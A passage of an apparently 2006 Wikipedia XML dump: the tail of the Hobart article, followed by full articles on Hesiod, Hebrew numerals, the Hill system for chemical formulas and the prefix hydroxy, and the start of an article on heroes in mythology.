This picturesque little city is a busy seaport, notably serving as the home port for Australia's (and [[France|France's]]) [[Antarctica|Antarctic]] activities. It supports several other industries, including a high-speed [[catamaran]] factory and a [[zinc]] smelter, as well as a vibrant tourist industry. Visitors come to the city to explore its historic inner suburbs, to visit the weekly craft market in [[Salamanca, Tasmania|Salamanca Place]], as well as to use the town as a base from which to explore the rest of Tasmania.

The world leader in high speed catamaran ferries, [http://www.incat.com.au/intro.html InCat] is based here. Other local attractions include the [[Australia|Australian]] [[Cadbury-Schweppes|Cadbury]] chocolate factory, and for a day trip places like [[Port Arthur, Tasmania|Port Arthur]], and the [[tessellate]]d pavement, the [[Huon Valley]], the [[Tahune]] Forest Air Walk, [[Cockle Creek]] (the southernmost point reachable by car) and the walk to [[South Cape Bay Beach]] which also forms part of a 6 day walk to South Western [[Tasmania]].

The [[Cascade Brewery]] is located in [[South Hobart, Tasmania|South Hobart]], near the natural spring waters of [[Mount Wellington, Tasmania|Mount Wellington]]. The Hobart surrounding area has many vineyards, including [[Moorilla Estate]] at [[Berriedale, Tasmania|Berriedale]].

Nationally known bootmaker [[Blundstones]] is based in [[Moonah, Tasmania|Moonah]] in the northern suburbs. National lottery company [[Tattersalls]] was founded by [[George Adams (businessman)|George Adams]] in Hobart but is now based in [[Melbourne]].

The [[Royal Tasmanian Botanical Gardens]] is a popular recreation area a short distance from the City centre. It is the second-oldest Botanic Gardens in [[Australia]] and holds extensive significant plant collections as well as built heritage.

==Events==
[[Image:Hobart_Marina_MTWellington.jpg|250px|thumb|right|View of [[Hobart]] and [[Mt Wellington]] from Constitution Dock]]
Hobart is internationally famous among the yachting fraternity as the finish of the [[Sydney to Hobart Yacht Race]] which starts in [[Sydney]] on Boxing Day (the day after Christmas Day). The arrival of the yachts is celebrated as part of the [[Hobart Summer Festival]], a food and wine festival beginning just after Christmas and ending in mid January. The [[Taste of Tasmania]] is a major part of the festival, where locals and visitors can taste fine local and international food and wine.

Hobart is the finish point of the [[Targa Tasmania]] rally car event held annually in April since 1991.

The annual [[Tulip]] Festival at the [[Royal Tasmanian Botanical Gardens]] is a popular Spring celebration in the City.

==Entertainment==
Australia's first legal [[casino]] was the 17-storey [[Wrest Point Hotel Casino]] in [[Sandy Bay, Tasmania|Sandy Bay]], opened in 1973.  It is still the tallest building in the city, despite being several kilometres out of the CBD, and a nationally recognised icon.

Popular restaurant strips include [[Elizabeth Street, Hobart|Elizabeth Street]], in [[North Hobart, Tasmania|North Hobart]] and [[Salamanca, Tasmania|Salamanca Place]] near the waterfront. These include a large number of ethnic restaurants including [[Chinese food|Chinese]], [[Thai food|Thai]], [[Greek food|Greek]], [[Italian food|Italian]], [[Indian food|Indian]] and [[Mexican food|Mexican]]. Several [[pubs]] and nightclubs can be found concentrated in the city and waterfront area.

Hobart is home to Australia's oldest [[theatre]], the [[Theatre Royal, Hobart|Theatre Royal]]. It also has three [[Village Cinema]] complexes, one in the city, and two in [[Glenorchy, Tasmania|Glenorchy]] and [[Rosny, Tasmania|Rosny]].

Hobart is home to the [[Tasmanian Symphony Orchestra]], which is resident at the [[Federation Concert Hall]] on the City's waterfront. It offers a year-round program of concerts.

==Media==
Hobart's major newspaper is [[The Mercury]], which was founded by [[John Davies (publisher)|John Davies]] in 1854 and has been continually published ever since.  The paper is currently owned and operated by Rupert Murdoch's News Limited.

Television broadcasts in the city were restricted to two channels until 1986 - [[TVT-6]] and the [[Australian Broadcasting Corporation|ABC]]. In 1986, multicultural broadcaster [[Special Broadcasting Service|SBS]] began transmission to the city.

In 1994 market aggregation allowed [[Launceston, Tasmania|Launceston]] based station [[TNT-9]] (now [[Southern Cross Tasmania]]) to broadcast to Hobart as well. TVT-6 (since known as [[TasTV]], now [[WIN Television]]) took on a [[Nine Network]] affiliation, with Southern Cross carrying both [[Seven Network|Seven]] and [[Network Ten|Ten]] programming.

All stations commenced digital broadcasting during 2003, and in December 2003, a fifth station, [[Tasmanian Digital Television]] (TDT) began broadcasting. TDT is a joint venture between Southern Cross and WIN. In March 2005 [[ABC2]] the second ABC channel came on-line as well.

Commercial radio stations licensed to cover the Hobart market include [[HO FM]], [[Sea FM]] (formerly [[Triple T]]) and [[Magic 107]]. Local community radio stations include [[Christianity|christian]] radio station [[Ultra106five]],national award winning youth station [[Edge Radio]] and radio station [[92FM]] (which targets the wider community with specialist programs) which also transmits it's signal through a translator on 96.1FM in the northern suburbs of Hobart.  There is also one shortwave broadcaster based in the area, [[Hobart Radio International]].  The [[Australian Broadcasting Corporation|ABC]] has all five of its radio networks broadcasting to Hobart, via [[936 ABC]], [[Radio National]], [[Triple J]], [[Newsradio]] and [[ABC Classic FM]].

==Sport==
Due to Tasmania's heavily distributed population, most Hobart sporting teams in national competitions are statewide teams. These include the [[Tasmanian Tigers]] [[cricket]] team, which plays home games at [[Bellerive Oval]] on the eastern shore. Despite [[Australian rules football]]'s huge popularity in the state, Tasmania does not have a team in the [[Australian Football League]]. They do have a team (the [[Tasmanian Devils Football Club|Tasmanian Devils]]) in the [[Victorian Football League|VFL]] (Victorian league), and a team in the national league is a popular topic among supporters as well as the state government (one of the potential sponsors of such a team). Some AFL teams play scheduled games at [[Aurora Stadium]] (at [[York Park]] in [[Launceston, Tasmania|Launceston]]).

Unfortunately Tasmania's small population and low sponsorship potential results in the state not being represented in national [[basketball]], [[soccer]] and [[netball]] leagues.

==Colleges and universities==
Hobart is home to the main campus of the [[University of Tasmania]], situated in [[Sandy Bay, Tasmania|Sandy Bay]]. On site accommodation colleges include [[Christ College]], [[Jane Franklin Hall]] and [[St John Fisher College]]. Other campuses are in Lauceston and Burnie.

Senior secondary colleges in the Hobart area include [[Hobart College]], at the top of [[Mt Nelson, Tasmania|Mt Nelson]] just south of the city; inner-city [[Elizabeth College]]; [[The Friends' School, Hobart|The Friends' School]] in New Town; [[St Mary's College, Hobart|St Mary's College]] and [[Guilford Young College]] in [[North Hobart, Tasmania|North Hobart]]; [[The Hutchins School]] in [[Sandy Bay, Tasmania|Sandy Bay]]; [[Rosny College]] at Rosny on the eastern shore; and [[Claremont College]] at Claremont in the northern suburbs.  Some of these colleges also function as community colleges, open to students outside the formal secondary school system. Many of these colleges are not exclusively colleges as they also provide primary and high school education.

''See [[Education in Tasmania]]''

==Transportation==
Hobart's urban passenger tram services closed in the early 1960s and rail in 1980. A [[Trolleybus]] network consisting of six routes operated until 1968. Most public transport within the city is via an extensive network of public and private bus services.  The main arterial routes within the urban area are the [[Brooker Highway]] to Glenorchy and the northern suburbs, the [[Tasman Bridge]] and [[Bowen Bridge]] across the river to Rosny and the Eastern Shore, and the Southern Outlet Road south to Kingston and the Channel.

Leaving the city, motorists can travel the [[Lyell Highway]] to the [[West Coast, Tasmania|west coast]]; [[Midlands Highway]] to [[Launceston, Tasmania|Launceston]] and the north; [[Tasman Highway]] to the east coast, or the [[Huon Highway]] to the far south.

Hobart is serviced by [[Hobart International Airport]], and the smaller [[Cambridge Aerodrome]] (which mainly serves small charter airlines offering local tourist flights).

==Other==
*[[Mary, Crown Princess of Denmark|Crown Princess Mary of Denmark]] was born and raised in Taroona, a southern suburb of Hobart.
*[[Errol Flynn]] was born in Hobart on [[20 June]] [[1909]].

==External links==
*[http://www.hobartcity.com.au Hobart City Council]
* Satellite image from [http://maps.google.com/maps?q=canberra&amp;ll=-42.835696,147.317047&amp;spn=0.049270,0.098173&amp;t=k&amp;hl=en Google Maps]
* Street map from [http://www.whereis.com/whereis/mapping/renderMapAddress.do?name=&amp;streetNumber=&amp;street=City%20Center&amp;streetType=&amp;suburb=Hobart&amp;state=Tasmania&amp;latitude=-42.881&amp;longitude=147.3265&amp;navId=$01006046X0OL9$&amp;brandId=1&amp;advertiserId=&amp;requiredZoomLevel=3 Whereis.com]

{{AustralianCapitalCities}}

&lt;!--categories--&gt;
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[[Category:Australian capital cities]]
[[Category:Coastal cities in Australia]]
[[Category:Hobart|*]]
[[Category:Port cities]]

[[bg:Хобърт]]
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[[he:הובארט]]
[[nl:Hobart (Australië)]]
[[ja:ホバート]]
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[[zh:荷巴特]]</text>
    </revision>
  </page>
  <page>
    <title>Hesiod</title>
    <id>13700</id>
    <revision>
      <id>41169136</id>
      <timestamp>2006-02-25T14:20:08Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <minor />
      <text xml:space="preserve">''This article discusses the ancient Greek poet Hesiod. For the computer application, see [[Hesiod (name service)]].''
----

'''Hesiod''' (''Hesiodos'', {{polytonic|Ἡσίοδος}}), the early [[Greek language|Greek]] [[poet]] and [[rhapsode]], presumably lived around [[700 BC]]. Historians have debated the priority of Hesiod or of [[Homer]], and some authors have even brought them together in an imagined poetic contest. Modern scholars disagree as to which was earlier; their lives very likely overlapped.

Hesiod serves as a major source for knowledge of [[Greek mythology]], [[farming]] techniques, archaic Greek [[astronomy]] and ancient [[time | time]]-keeping.

[[John Addington Symonds|J. A. Symonds]] writes that &quot;Hesiod is also the immediate parent of gnomic verse, and the ancestor of those deep thinkers who speculated in the Attic Age upon the mysteries of human life&quot;.{{rf|1|Symonds1}}

Some scholars doubt whether Hesiod alone conceived and wrote ''Works and Days''. J. A. Symonds writes that &quot;the first ten verses of the Works and Days are spurious - borrowed probably from some Orphic hymn to Zeus and recognised as not the work of Hesiod by critics as ancient as [[Pausanias (geographer)|Pausanias]]&quot;.{{rf|2|Symonds2}}

As with Homer, legendary traditions have accumulated around Hesiod. Unlike the case of Homer, however, some biographical details have survived: a few details of Hesiod's life come from three references in ''Works and Days''; some further inferences derive from his ''Theogony''. Hesiod lived in [[Boeotia]]. His father came from Kyme in [[Aeolis]], which lay between [[Ionia]] and the [[Troad]] in Northwestern [[Anatolia]], but crossed the sea to settle at Boeotian Ascra, &quot;a cursed place, cruel in winter, hard in summer, never pleasant&quot; (''Works'', 640). Hesiod's patrimony there, a small piece of ground at the foot of Mount [[Helicon]],  occasioned a pair of [[lawsuits]] with his brother Perses, who won both under the same judges (some scholars have seen Perses as a literary creation, a foil for the moralizing that Hesiod directed to him in ''Works and Days''). 

The [[Muses]] traditionally lived on Helicon, and they gave Hesiod the gift of poetic inspiration one day while he tended sheep (compare the legend of [[Cædmon]]). In another biographical detail, Hesiod mentions a poetry contest at [[Chalcis]] in [[Euboea]] where the sons of one Amiphidamas awarded him a tripod (ll.654-662). [[Plutarch]] first cited this passage as an interpolation into Hesiod's original work, based on his identification of Amiphidamas with the hero of the [[Lelantine War]] between [[Chalcis]] and [[Eretria]], which occurred around 705 BC. Plutarch assumed this date much too late for a contemparary of Homer, but most Homeric scholars would now accept it.  The account of this contest inspired the later tale of a competition between Hesiod and Homer.

Two different -- yet early -- traditions record the site of Hesiod's grave. One, as early as [[Thucydides]], reported in Plutarch, the [[Suda]] and [[John Tzetzes]], states that the [[Delphi|Delphic oracle]] warned Hesiod that he would die in Nemea, and so he fled to [[Locris]], where he was killed at the local temple to Nemean Zeus, and buried there. This tradition follows a familiar [[Irony|ironic]] convention: the oracle that predicts accurately after all.

The other tradition, first mentioned in an [[epigram]] of [[Chersios of Orchomenus]] written in the [[7th century BC]] (within a century or so of Hesiod's death) claims that Hesiod lies buried at [[Orchomenus (town)|Orchomenus]], a town in Boeotia. According to [[Aristotle]]'s ''Constitution of Orchomenus'', when the [[Thespiae | Thespian]]s ravaged Ascra, the villagers sought refuge at Orchomenus, where, following the advice of an oracle, they collected the ashes of Hesiod and placed them in a place of honour in their ''[[agora]]'', beside the tomb of [[Minyas]], their eponymous founder, and in the end came to regard Hesiod too as their &quot;hearth-founder&quot; (οἰκιστής / ''oikistês'').

Later writers attempted to harmonize these two accounts.

Legends that accumulated about Hesiod came from several sources: a treatise &quot;The poetic contest (Ἀγών / Agôn) of Homer and Hesiod&quot;; a ''[[vita]]'' of Hesiod by the Byzantine grammarian [[John Tzetzes]]; the entry for Hesiod in the ''[[Suda]]''; two passages and some scattered remarks in [[Pausanias (geographer)|Pausanias]] (IX, 31.3–6 and 38.3–4); a passage in [[Plutarch]] ''Moralia'' (162b).


==Works==
 
Hesiod wrote a poem of some 800 verses,  the ''[[Works and Days]]'', which revolves around two general truths: labour is the universal lot of Man, but he who is willing to work will get by. Scholars have seen this work against a background of agrarian crisis in mainland Greece, which inspired a wave of documented [[Greek colonies | colonisation]]s in search of new land.

This work lays out the five [[Ages of Man]], as well as containing advice and wisdom, prescribing a life of honest labour and attacking idleness and unjust [[judge]]s (like those who decided in favour of Perses) as well as the practice of usury. It describes immortals who roam the earth watching over justice and injustice.{{rf|3|Hesiod1}} The poem regards labor as the source of all good, in that both gods and men hate the idle, who resemble drones in a hive.{{rf|4|Hesiod2}} 

Tradition also attributes the ''[[Theogony]]'', a poem which uses the same epic verse-form as the &quot;[[Works and Days]]&quot; (and Homer's as &quot;[[Iliad]]&quot; and &quot;[[Odyssey]]&quot;) to Hesiod. The ''[[Theogony]]'', which in its surviving form has over 1000 verses, resembles ''Works and Days'' very closely in style and substance considering the different subject-matter. 

The ''[[Theogony]]'' concerns the [[cosmogony | origins of the world]] (cosmogony) and of the gods (theogony), beginning with [[Gaia]], [[Nyx]] and [[Eros (mythology)|Eros]], and shows a special interest in [[genealogy]]. Embedded in Greek myth there remain fragments of quite variant tales, hinting at the rich variety of myth that once existed, city by city; but Hesiod's retelling of the old stories became, according to the 5th-century historian [[Herodotos]], the accepted version that linked all [[Hellenes]].
 
* Classical authors also attributed to Hesiod later genealogical poems -- known as ''[[Catalogues of Women]]'' or as ''Eoiae'' (because sections began with the Greek words ''e oie'' 'or like her'). Only fragments of these have survived. They deal with the genealogies of kings and [[hero]]es of the legendary heroic period. Scholars generally classify them as later examples of the poetic tradition to which Hesiod belonged, not as genuine poems of Hesiod himself.
 
* A final poem traditionally attributed to Hesiod, ''The Shield of Heracles'' (Ἀσπὶς Ἡρακλέους / Aspis Hêrakleous), apparently forms a late expansion of one of these genealogical poems, taking its cue from Homer's description of the [[Shield of Achilles]].

Hesiod's works survive in [[Alexandria]]n [[papyrus|papyri]], some dating from as early as the 1st century BCE. [[Demetrius Chalcondyles]] issued the first printed edition (''[[editio princeps]]'') of ''Works and Days'', possibly at Milan, probably in 1493. In [[1495]] [[Aldus Manutius]] published the complete works at Venice.

==Notes==
*{{ent|1|Symonds1}} J. A. Symonds, ''Studies of the Greek Poets'', p. 166
*{{ent|2|Symonds2}} J. A. Symonds, p. 167
*{{ent|3|Hesiod1}} Hesiod, ''Works and Days'', Canto III, [250]: &quot;Verily upon the earth are thrice ten thousand immortals of the host of Zeus, guardians of mortal man. They watch both justice and injustice, robed in mist, roaming abroad upon the earth&quot;. (cf. also, J. A. Symonds, p. 179)
*{{ent|4|Hesiod2}} Hesiod, ''Works and Days'', [300]: &quot;Both gods and men are angry with a man who lives idle, for in nature he is like the stingless drones who waste the labor of the bees, eating without working&quot;

==References==
*Philip Wentworth Buckham, ''Theatre of the Greeks'', 1827.
*Erwin Rohde, ''Psyche'', 1925.
*J. A. Symonds, ''Studies of the Greek Poets'', 1873.
*Thomas Taylor, ''A Dissertation on the Eleusinian and Bacchic Mysteries'', 1791.

==External links==
{{wikiquote}}
{{Wikisource author}}
* {{gutenberg author| id=Hesiod | name=Hesiod}}
* Web texts taken from ''Hesiod, the Homeric Hymns and Homerica'', edited and translated by Hugh G. Evelyn-White, published as [[Loeb Classical Library]] #57, 1914, ISBN 0674990633:
** [http://www.perseus.tufts.edu/cgi-bin//perscoll?.submit=Change&amp;collection=Perseus%3Acollection%3AGreco-Roman&amp;type=text&amp;lang=Any&amp;lookup=Hesiod Perseus Classics Collection: Greek and Roman Materials: Text: Hesiod] (Greek texts and English translations for ''Works and Days'', ''[[Theogony]]'', and ''Shield of Heracles'' with additional notes and cross links.)
** Versions of the electronic edition of Evelyn-White's English translation edited by Douglas B. Killings, June 1995:
*** [http://www.gutenberg.net/etext/348 Project Gutenberg plain text].
*** [http://sunsite.berkeley.edu/OMACL/Hesiod Berkeley Digital Library SunSITE: The Online Medieval and Classical Library: Hesiod]
*** [http://www.sacred-texts.com/cla/hesiod/index.htm Sacred Texts: Classics: The Works of Hesiod] (''Theogony'' and ''Works and Days'' only)

[[Category:Ancient Greek poets]]



{{Link FA|fr}}

[[bg:Хезиод]]
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[[zh:赫西奥德]]</text>
    </revision>
  </page>
  <page>
    <title>Hebrew numerals</title>
    <id>13702</id>
    <revision>
      <id>41755333</id>
      <timestamp>2006-03-01T14:42:29Z</timestamp>
      <contributor>
        <username>Noe</username>
        <id>57569</id>
      </contributor>
      <comment>cat.</comment>
      <text xml:space="preserve">{{Table_Numeral_Systems}}

The system of '''Hebrew numerals''' is a quasi-decimal alphabetic [[numeral system]] using the letters of the [[Hebrew alphabet]].

In this system, there was no notation for [[0 (number)|zero]], and the numeric values for individual letters are added together.  Each unit (1, 2, ..., 9) is assigned a separate letter, each tens (10, 20, ..., 90) a separate letter, and each hundreds (100, 200, ..., 900) a separate letter. [[Gematria]] (Jewish numerology) uses these transformations extensively. 

{| border
|-
!Decimal
!Hebrew
!Glyph
|-
|[[1 (number)|1]]
|''Aleph''
| &amp;#1488;
|-
|[[2 (number)|2]]
|''Bet''
| &amp;#1489;
|-
|[[3 (number)|3]]
|''Gimmel''
| &amp;#1490;
|-
|[[ 4 (number)| 4]]
|''Dalet''
| &amp;#1491;
|-
|[[ 5 (number)| 5]]
|''Hay''
| &amp;#1492;
|-
|[[6 (number)|6]]
|''Vav''
| &amp;#1493;
|-
|[[7 (number)|7]]
|''Zayin''
| &amp;#1494;
|-
|[[8 (number)|8]]
|''Het''
| &amp;#1495;
|-
|[[9 (number)|9]]
|''Tet''
| &amp;#1496;
|-
|[[10 (number)|10]]
|''Yod''
| &amp;#1497;
|-
|[[20 (number)|20]]
|''Kaf''
| &amp;#1499;
|-
|[[30 (number)|30]]
|''Lamed''
| &amp;#1500;
|-
|[[40 (number)|40]]
|''Mem''
| &amp;#1502;
|-
|[[50 (number)|50]]
|''Nun''
| &amp;#1504;
|-
|[[60 (number)|60]]
|''Samekh''
| &amp;#1505;
|-
|[[70 (number)|70]]
|''Ayin''
| &amp;#1506;&lt;/td&gt; 
|-
|[[80 (number)|80]]
|''Pe''
| &amp;#1508;&lt;/td&gt; 
|-
|[[90 (number)|90]]
|''Tsadik''
| &amp;#1510;
|-
|[[100 (number)|100]]
|''Kof''
| &amp;#1511;
|-
|[[200 (number)|200]]
|''Resh''
| &amp;#1512;
|-
|[[300 (number)|300]]
|''Shin''
| &amp;#1513;
|-
|[[400 (number)|400]]
|''Tav''
| &amp;#1514;
|-
|[[500 (number)|500]]
|''Tav Kof'' or ''Kaf Sofit''
| &amp;#1514;&quot;&amp;#1511; or &amp;#1498;
|-
|[[600 (number)|600]]
|''Tav Resh'' or ''Mem Sofit''
| &amp;#1514;&quot;&amp;#1512; or &amp;#1501;
|-
|[[700 (number)|700]]
|''Tav Shin'' or ''Nun Sofit''
| &amp;#1514;&quot;&amp;#1513; or &amp;#1503;
|-
|[[800 (number)|800]]
|''Tav Tav'' or ''Pe Sofit''
| &amp;#1514;&quot;&amp;#1514; or &amp;#1507;
|-
|[[900 (number)|900]]
|''Tav Tav Kof'' or ''Tsadik Sofit''
| &amp;#1514;&amp;#1514;&quot;&amp;#1511; or &amp;#1509;
|}

The alphabetic system operates on the additive principle in which the numeric values of the letters are added together to form the total.  For example, 177 is represented as &amp;#1511;&amp;#1506;&amp;#1494; which corresponds to 100 + 70 + 7 = 177.

The numbers 15 and 16 are represented as &amp;#1496;&amp;#1493; &amp;#x200e;(9+6)  and &amp;#1496;&amp;#1494; &amp;#x200e;(9+7) respectively, instead of &amp;#1497;&amp;#1492; and &amp;#1497;&amp;#1493;. This is done in order to refrain from using the sacred combinations that are a part of [[the name of God in Judaism]].

This system requires 27 letters, so the 22-letter Hebrew alphabet is sometimes extended to 27 by using 5 ''sofeet'' (final) forms of the Hebrew letters. Alternatively (and more often), the last letter, ''tav'' (which has the value 400) is used in combination with itself and/or other letters from ''kof'' (100) onwards, to generate numbers from 500 and above.

A ''gershayim'' mark (similar to a [[double quote]] mark) is often inserted before the last (leftmost) letter to indicate that the sequence of letters represents a number rather than a word. When only one letter is used (as for the numbers 1-9, 10, 20, etc.), a ''geresh'' mark (similar to a [[single quote]] mark) follows the letter.

Thousands are counted separately, and the thousand count precedes the rest of the number (to the ''right'', since Hebrew is read from right to left). There are no special marks to signify that the 'count' is starting over with thousands, which theoretically can lead to ambiguity.  When specifying years of the Hebrew calendar in the present millennium, writers usually omit the 'thousands' (which is presently 5 [&amp;#1492;]).  The current Israeli coinage includes the thousands.

Modern Hebrew uses the standard [[decimal]] system for most purposes. The Hebrew numeral system is nowadays used mainly for specifying the days and years of the [[Hebrew calendar]], for bulleted or numbered lists (instead of A, B, C, D ...), and in numerology ([[gematria]]).

===Example===
&quot;(The) 4th (day of the month of) Adar, (in the year) 5764&quot; would be written: &amp;#1491;' &amp;#1488;&amp;#1491;&amp;#1512; &amp;#1492;' &amp;#1514;&amp;#1513;&amp;#1505;&quot;&amp;#1491; (where 5764 = 5*1000 + 400 + 300 + 60 + 4).

===Similar systems===

The [[Abjad numerals]] are equivalent to the Hebrew numerals up to 400. The [[Greek numerals]] differ from the Hebrew ones from 90 upwards because in the [[Greek alphabet]] there is no equivalent for ''Tsadik'' (&amp;#1510;).

==External links==
* http://www.inner.org/gematria/gemchart.htm

[[Category:Hebrew language]]
[[Category:Hebrew alphabet]]
[[Category:Numeration]]

[[he:גימטריה]]
[[de:Hebräische Zahlen]]
[[fr:Numération hébraïque]]
[[nl:Hebreeuwse cijfers]]
[[fi:Heprealaiset numerot]]</text>
    </revision>
  </page>
  <page>
    <title>Hill system</title>
    <id>13703</id>
    <revision>
      <id>33657732</id>
      <timestamp>2006-01-02T23:52:06Z</timestamp>
      <contributor>
        <username>Itub</username>
        <id>426390</id>
      </contributor>
      <comment>added example, reference, and history</comment>
      <text xml:space="preserve">The '''Hill system''' is a system of writing [[chemical formula]]s such that the number of [[carbon]] [[atom]]s in a [[molecule]] is indicated first, the number of [[hydrogen]] atoms next, and then the number of all other [[chemical element]]s subsequently, in [[alphabetical order]]. When the formula contains no carbon,  all the elements, including hydrogen, are listed alphabetically.

By sorting formulas according to the number of atoms of each element present in the formula according to these rules, with differences in earlier numbers being treated as more significant than differences in any later number &amp;mdash; like sorting text strings into [[lexicographic order]] &amp;mdash; it is possible to [[collate]] chemical formulas into what is known as '''Hill system order'''. 

The Hill system was first published by [[Edwin A. Hill]] of the [[United States Patent Office]] in [[1900]].

==Example==
The following formulas are written using the Hill system, and listed in Hill order:

# BrH
# BrI
# CH&lt;sub&gt;3&lt;/sub&gt;I
# C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;Br
# HI

==References==
* Edwin A. Hill, &quot;On A System Of Indexing Chemical Literature; Adopted By The Classification Division Of The U. S. Patent Office&quot;. ''J. Am. Chem. Soc.'' '''1900''', ''22(8)'', 478-494; http://dx.doi.org/10.1021/ja02046a005

[[Category:Chemical nomenclature]]</text>
    </revision>
  </page>
  <page>
    <title>Hydroxy</title>
    <id>13704</id>
    <revision>
      <id>39292231</id>
      <timestamp>2006-02-12T03:28:59Z</timestamp>
      <contributor>
        <username>Titoxd</username>
        <id>227287</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/64.118.65.3|64.118.65.3]] ([[User talk:64.118.65.3|talk]]) to last version by Melaen</comment>
      <text xml:space="preserve">In [[chemical nomenclature]], the prefix '''''hydroxy''''' indicates the presence of a [[hydroxyl group|hydroxyl]] [[functional group]] (-[[oxygen|O]][[hydrogen|H]]).  Such groups are found in [[Alcohol|alcohols]], [[Phenols|phenols]], [[Carboxylic acid|carboxylic acids]], and as [[Ligand|ligands]] in inorganic compounds.
{{chem-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Hero</title>
    <id>13706</id>
    <revision>
      <id>42110199</id>
      <timestamp>2006-03-03T22:08:54Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/84.9.16.93|84.9.16.93]] ([[User talk:84.9.16.93|talk]]) to last version by 88.201.128.130</comment>
      <text xml:space="preserve">{{dablink|This article is about the type of person known as a &quot;hero&quot;.  For other meanings of this term, see [[hero (disambiguation)]].}}
: ''&quot;Heroine&quot;, the feminine form of &quot;hero&quot;, should not be confused with [[heroin]], the drug.''

[[Image:Watts-galahad.JPG|thumb|[[Sir Galahad]], a hero of [[Arthurian legend]]]]
From the Greek cognate ''{{polytonic|ἣρως}}'', in [[mythology]] and [[folklore]], a '''hero''' (male) or '''heroine''' (female) is an eminent character [[archetype]] that quintessentially embodies key traits valued by its originating culture. The hero commonly possesses superhuman capabilities or idealized character traits which enable him or her to perform extraordinary, beneficial deeds (i.e., a &amp;quot;heroic deed&amp;quot;) for which he or she is famous (compare ''[[villain]]'').

==Overview==
A person normally becomes courageous by performing an extraordinary and praiseworthy deed. A hero normally fulfills the definitions of what is considered [[Goodness and value theory|good]] and noble in the originating [[culture]]. However, in [[literature]], particularly in [[tragedy]], the hero may also have [[Fatal flaw|serious flaws]] which lead to a downfall, e.g. [[Hamlet]]. Such heroes are often referred to as [[tragic heroes]].

Sometimes a  person might achieve enough status to become courageous in people's minds. This is usually complemented by a rapid growth of myths around the person in question, often attributing to him or her powers beyond those of ordinary people.

Some social commentators prescribe the need for heroes in times of social upheaval or national self-doubt, seeing a requirement for virtuous [[Moral example|role models]], especially for the young. Such [[Mythology|myth]]-making may have worked better in the past: current trends may confuse heroes and their hero-worship with the cult of mere [[celebrity]].

==The Greek &quot;hero&quot;==
[[Homer]] applies the Greek word ''ηρως'' to all free men who were fighting in the [[Trojan War]]. Another epic poet, [[Hesiod]], uses it in the context of the [[Fourth Age of Men]]. The most common mythological meaning comes from the Greek poet [[Pindar]], who presents them as the offspring of mortals and the gods or those who had done a great service to mankind.[http://www.perseus.tufts.edu/cgi-bin/ptext?layout.refembed=2&amp;layout.refdoc=Perseus%3Atext%3A1999.04.0062&amp;layout.refcit=id%3Dheros&amp;doc=Perseus%3Atext%3A1999.04.0058%3Aentry%3D%2314859&amp;layout.reflookup=h%28%2Frws&amp;layout.reflang=greek&amp;layout.refwordcount=1]

===Nature of hero cult===
Hero cults were one of the most distinctive features of [[ancient Greece|ancient Greek]] [[religion]]. Greek hero-cults were distinct from [[ancestor worship]]: they were usually a civic rather than familial affair, and in many cases none of the worshipers traced their descent back to the hero.

They were distinct on the other hand from the [[Roman mythology|Roman]] cult of dead emperors, because the hero was not thought of as having ascended to Olympus or become a god: he was beneath the earth, and his power purely local.  For this reason hero cults were [[chthonic]] in nature, and their rituals more closely resembled those for [[Hecate]] and [[Persephone]] than those for [[Zeus]] and [[Apollo]].

The two exceptions to the above were [[Heracles]] and [[Asclepius]], who might be honored as either gods or heroes.

Heroes in cult behaved very differently from heroes in myth. They might appear indifferently as men or as snakes, and they seldom appeared unless angered. A [[Pythagoras|Pythagorean]] saying advises not to eat food that has fallen on the floor, because &quot;it belongs to the heroes&quot;. In a fragmentary play by [[Aristophanes]], a chorus of anonymous heroes describe themselves as senders of lice, fever and boils.

===Types of hero cult===
Hero cults were offered to predominantly to men, but also to women and even children.  Cult status was given to many classes of people, a few of them being the following:
* Famous men of the mythical past ([[hero]]es in the modern English sense), like [[Oedipus]] at [[Athens]] or [[Pelops]] at [[Olympia, Greece|Olympia]].
* Founders of cities, like [[Battus]] of [[Cyrene]]
Most reasons involved violent or unusual deaths, as in the following cases:
* Those killed in war. This was usually collective rather than individual, so as not to upset the delicate balance of the Greek [[polis]], as in the case of the dead from the [[Battle of Marathon]].
* Those struck by lightning, as in several attested cases in [[Magna Graecia|Southern Italy]].
* Those who disappeared into the ground, as in the cases of [[Oedipus]] and [[Amphiaraus]].

===Heroes, politics, and gods===
Hero cults could be of the utmost political importance.  When [[Cleisthenes]] divided the [[History of Athens|Athenians]] into new [[deme]]s for voting, he consulted [[Delphi]] on what heroes he should name each division after. According to [[Herodotus]], the [[Sparta]]ns attributed their conquest of [[Arcadia]] to their theft of the bones of [[Orestes (mythology)|Orestes]] from the Arcadian town of [[Tegea]].

Heroes in myth often had close but conflicted relationships with the gods. Thus [[Heracles]]'s name means &quot;the glory of Hera&quot;, even though he was tormented all his life by the queen of the gods. This was even truer in their cult appearances. Perhaps the most striking example is the Athenian king Erechtheus, whom [[Poseidon]] killed for choosing [[Athena]] over him as the city's patron god. When the Athenians worshiped Erechtheus on the [[Acropolis, Athens|Acropolis]], they invoked him as ''Poseidon Erechtheus''.

==Later European history==
The classic hero often came with what [[Lord Raglan (author)|Lord Raglan]] (a descendant of the [[FitzRoy Somerset, 1st Baron Raglan|FitzRoy Somerset, Lord Raglan]]) termed a &quot;potted biography&quot; made up of some two dozen common traditions that ignored the line between historical fact and mythology. For example, the circumstances of the hero's conception are unusual; an attempt is made by a powerful male at his birth to kill him; he is spirited away; reared by foster-parents in a far country. Routinely the hero meets with a mysterious death, often at the top of a hill; his body is not buried; he leaves no successors; he has one or more holy sepulchres.

Most European indigenous religions feature heroes in some form. [[Germanic tribes|Germanic]], [[Hellene]] and [[Ancient Rome|Roman]] heroes, along with their [[attribute]]s and forms of worship have been largely absorbed by the [[Orthodox]] and [[Catholic]] denominations of Christianity, forming the basis of modern day revering of [[Saint]]s.

== The validity of the &quot;hero&quot; in historical studies ==
{{See|Philosophy of history}}
